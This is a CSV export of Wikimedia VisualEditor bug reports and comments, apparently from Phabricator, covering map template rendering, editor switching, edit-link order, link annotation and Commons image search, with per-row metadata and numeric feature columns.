+https://en.wikipedia.org/w/index.php?title=Ravenglass_and_Eskdale_Railway&veaction=edit",,,1380613476,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+255673,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:
+
+Map of Loyalsock State Forest in VE on Chrome 22 Win7
+
+**Attached**: {F11916}",,,1374667210,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+255669,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:
+
+VE display of a railway line in Chrome 22 on Win7
+
+**Attached**: {F11915}",,,1374667025,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+255667,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:
+
+Also does nasty things to railway line diagrams - see [[South Maitland Railway]].",,,1374666736,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+255665,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:
+
+For an example of a similar but not identical problem see the map in [[Loyalsock State Forest]]",,,1374665426,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+255661,VisualEditor: Location map template does not display correctly,"Another fairly large set of 'CE-munging-absolutely-positioned-CSS bug'.  Is there an open bug for that?
+
+https://en.wikipedia.org/wiki/Template:Football_kit",,,1374665092,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0
+255657,VisualEditor: Location map template does not display correctly,"It also appears in other cases, such as this circle which should be over right-most persons face.
+https://de.wikipedia.org/wiki/Selbstbildnis_%28Leonardo_da_Vinci%29?veaction=edit",,,1374662867,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1,0
+255653,VisualEditor: Location map template does not display correctly,"Problem confirmed on Firefox and Chrome, and can be seen at
+
+https://en.wikipedia.org/wiki/Macumba_Station?veaction=edit
+
+And most other pages (lots and lots) that use
+
+https://en.wikipedia.org/wiki/Template:Location_map
+
+also confirmed for uses of the German template, so I am guessing most other wikis will have the same problem
+
+https://de.wikipedia.org/wiki/Vorlage:Positionskarte
+
+https://en.wikipedia.org/wiki/Azincourt?veaction=edit
+https://de.wikipedia.org/wiki/Albany_%28New_York%29?veaction=edit
+
+I cant find another bug that mentions location maps.",,,1374538983,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0
+255649,VisualEditor: Location map template does not display correctly,"**lunarjam.mcgahan** wrote:
+
+This bug also occurs in Chrome Version 27.0.1453.116 m on Windows 7.",,,1372992263,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+255642,VisualEditor: Location map template does not display correctly,This looks like a CE-munging-absolutely-positioned-CSS bug.,,,1372904578,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,0,,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+52698,Compatiblity between the two editors,"Very often I find that there are some tools that both these editors (VE and the old editor) that I would want to use on the same article. But there is no way to do so.
+
+It would be a very useful feature of the VE if there was some way (direct, or indirect; like through the show preview button) for editors opening an article in VE to be able to edit the same article in the old editor without having to save it or discard the changes made.
+
+Such a feature could also come in handy for other editors who have started editing through VE but couldn't understand the interface/needed to switch because they realised VE could not do an action they wanted
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1372890000,1373855340.0,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,False,PHID-TASK-xucom3pjxavt6vbh6mcr,task_description,resolved,True,c1,3,False,False,True,0,,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+254666,Compatiblity between the two editors,"This is the same as bug 47779
+
+*** This bug has been marked as a duplicate of bug 47779 ***",,,1373855340,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254660,Compatiblity between the two editors,"Oops - just realized there was an external link in his comments.
+
+The picture he mentions in his last sentence can be found here:
+http://en.support.files.wordpress.com/2009/07/visual_editor2.png?w=688",,,1373301423,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+254655,Compatiblity between the two editors,"Another editor adds:
+If you want to switch (say you started in Visual, but you want to switch to source to get something fancy working), you have to either discard your changes or save a partial edit in visual and create a second edit in source. What I want to see is a means of switching between the two at will within the same edit. Wordpress does something similar where you can type up a blog post to switch between visual rendering and HTML source using tabs surrounding the edit window. You can switch between visual and HTML at will and each will be updated. I want to see the same thing with the Wikipedia VisualEditor. -Thunderforge (talk) 21:32, 6 July 2013 (UTC)
+
+AND
+
+They don't necessarily have to both be visible at the same time (in fact, that might be somewhat confusing and perhaps wouldn't work well on mobile devices and tablets if the VisualEditor is going to be used there). But I would like some way to switch between the two without having to discard an edit. Again, the tabs on the edit window that Wordpress uses are one excellent way to do this: they allow the edit space to be swapped out, providing a compact way to easily switch. A picture of it can be found here. -Thunderforge (talk) 21:40, 6 July 2013 (UTC)",,,1373301385,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,False,,,1,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+254652,Compatiblity between the two editors,"Examples of articles where I need to use both? That would be any article where I'm trying to manipulate citations (move/add/append/improve) or with templates; as well as doing some general editing.
+
+
+Example of what I want? A button saying ""View this in the old editor"", and clicking on that gets you the same article, including any changes you made, in the old editor. Alternately, you could display the same button in the preview mode when you're viewing the article",,,1372935534,,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0
+254649,Compatiblity between the two editors,Can you provide some more specific examples?,,,1372931394,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xucom3pjxavt6vbh6mcr,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0
+52688,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"Copied:
+For logged in user, can there be a formatting preference to display [edit | edit source] as [edit source | edit]? --J. D. Redding 18:47, 3 July 2013 (UTC)
+
+The user finds it frustrating that he keeps inadvertently selecting ""edit""
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56337",Low,25.0,1372879860,1380214284.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-kpw2y2iowrttt6zxpjia,task_description,invalid,True,c1,3,False,False,True,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+254174,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"(In reply to comment #5)
+> I don't think a user preference is appropriate here.
+> 
+> Given the resolution of bug 50540, I'm not sure there's anything actionable
+> here.
+
+Concurred; closing as INVALID.",,,1380214284,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,True,,,12,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+254167,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"I don't think a user preference is appropriate here.
+
+Given the resolution of bug 50540, I'm not sure there's anything actionable here.",,,1380209341,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,False,,,12,,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+254159,VisualEditor: User preference for reversing the order of [edit | edit source] section links,A better solution would be the one suggested at bug 50540.,,,1373324983,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+254152,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"I agree that we need to resolve this somehow, since the current hover interface has also been pointed out as a problem on touch devices (e.g. tablets).",,,1373324915,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+254145,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"I think it is a fairly high priority. It would keep a lot of users (such as me) from turning off the visual editor altogether. Many people are turning off the VE due to this problem. More and more people are saying this here:
+[[Wikipedia:VisualEditor/Feedback]]
+
+I want instant direct access to the ""edit source"" link. I want the ""edit"" link to be the one that is hidden. 
+
+Better yet would be an option to display both links directly without any hover effects. When I want to click either link I do not want to waste one millisecond finding the link, or thinking I may screw up again, and hit the wrong link. 
+
+Think gaming, ping, lag time, and even slightly experienced Wikipedia editors wanting to get things done faster.",,,1372897059,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,False,,,0,,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+254138,VisualEditor: User preference for reversing the order of [edit | edit source] section links,"We can do this, but I don't think it's as high priority as a number if others. Marking as such.",,,1372886254,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kpw2y2iowrttt6zxpjia,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+52678,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.","what it says on the tin; if you remove the first character from [[foo]] to change it to [[moo]], what you actually end up with is m[[oo]].
+
+See also:
+* T52745
+* T52945
+* T55495
+* T52452",Low,25.0,1372872240,1600713579.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-oqqiylk3iqavc5qnj32p,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+1584735,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.","This was fixed by the work on link cartouches (the blue highlights that appear when you place the cursor or select text inside a link) in T91285.
+{F32358209}",,,1600713579,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oqqiylk3iqavc5qnj32p,task_subcomment,,True,c1,3,True,,,377,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+454944,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.","In the weekly triage meeting on 2015-05-06, we discussed this task. We acknowledge that this industry standard manner of operation for editors can lead to some poor outcomes, but as written this isn't actionable and we feel that the issue is not as high priority as the other user-facing work that we need to get done this quarter, so we rejected it as a piece of work for Q4.",,,1430945493,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oqqiylk3iqavc5qnj32p,task_subcomment,,True,c1,3,True,,,96,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+253555,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.","comment from Elitre on bug 53210:
+Seems I had written about it in an unrelated bug, sorry. This happens on itwp:
+in order to do this
+http://it.wikipedia.org/w/index.php?title=DNasi_attivata_da_caspasi&diff=60101664&oldid=60089990
+I had to delete the word and link it back again. Our guidelines about style
+require pages in that section to appear with the capital letter, so we need to
+be able to fix that easily.
+
+It is also reported on en.wp, the user states <<When trying to correct a
+lower-case letter to a capital letter at the beginning of a link, I deleted the
+lower-case letter and found I couldn't type a capital letter and have it become
+part of the link, nor could I seem to extend the link over the capital.
+Eventually, I typed the capital after the lower-case letter and then deleted
+the lower-case letter. It might be good to have some way to extend a link over
+adjoining letters/words/text. Mount Flatten (talk) 05:31, 22 August 2013 (UTC)
+>>
+Thanks.
+
+ps. Might be related to https://bugzilla.wikimedia.org/show_bug.cgi?id=50745",,,1377445735,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-oqqiylk3iqavc5qnj32p,task_subcomment,,True,c1,3,False,,,7,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+253550,"VisualEditor: Pre-annotation is from up-page, so deleting and replacing the first character in a link de-links it; deleting and replacing the first bold character in a word de-bolds it; etc.",*** Bug 53210 has been marked as a duplicate of this bug. ***,,,1377445650,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-oqqiylk3iqavc5qnj32p,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52673,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","ve.init.mw.Platform.js currently hard-codes searching from Commons, even if the wiki doesn't actually load images from Commons. We should do this based on wiki config instead.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1372865220,1388900883.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+253337,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","Change 102377 merged by jenkins-bot:
+Use image sources from the fileRepo API
+
+https://gerrit.wikimedia.org/r/102377",,,1388900839,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,False,,,26,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253329,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","Change 102377 had a related patch set uploaded by Mooeypoo:
+Use image sources from API's fileRepo
+
+https://gerrit.wikimedia.org/r/102377",,,1387334234,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+253323,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","This can now be done by using the new meta=filerepoinfo API query, which was introduced into core in gerrit 85344.",,,1380757856,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+253317,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","**humpface** wrote:
+
+This was very frustrating for my work's internal wiki.  First, I didn't want any Instant Common images (and thanks to James, I was able to remove the line of code).  However, since I disabled the use of Instant Commons ($wgUseInstantCommons = false;), I was still able to search through the Instant Commons but after saving, everything showed up as a broken link.
+
+Suggestion:
+- Tie the JSON mediaSources object in ve.init.ms.Platform.js to the $wgUseInstantCommons (i.e., if Commons is turned off in LocalSettings.php, then a user can't search through the images).",,,1380067695,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,False,,,12,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+253312,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","(In reply to comment #1)
+> Ideally we'd avoid hardcoding Commons entirely and instead of exporting
+> isInstantCommons, we'd export fileRepos.
+
+Indeed; that was what I was thinking when I wrote this bug. Title modified to be clearer.",,,1374157001,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,True,,,2,,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+253309,"VisualEditor: Search for images from fileRepos, rather than hard-coding use of local and Commons","Ideally we'd avoid hardcoding Commons entirely and instead of exporting isInstantCommons, we'd export fileRepos. That should be almost as easy to do and would fix other things as well:
+
+* Wikis where their repo is Commons but through their own wgForeignFileRepos setting (e.g. like on WMF where we use more fine-tuned configuration that does essentially the same, or wikis that configure it but don't use wgUseInstantCommons because they want to set different parameters (e.g. disable repo[fetchDescription] or use a non-default repo[cacheExpiry]).
+
+* Wikis with more than 2 repositories.
+
+* Wikis working with other repos (e.g. a wiki farm might have their own commons-like thing).
+
+Especially reason #1 since we do use InstantCommons in production but not the default settings through the UseInstantCommons toggle. We could hardcode some detection and export ""isUsingCommonsAsARepoSomehow"", but might as well take a few more minutes and figure out how to just export an array of api urls.
+
+
+[] https://www.mediawiki.org/wiki/Manual:$wgUseInstantCommons#Details",,,1374150733,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,True,,,2,,1,0,1,0,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
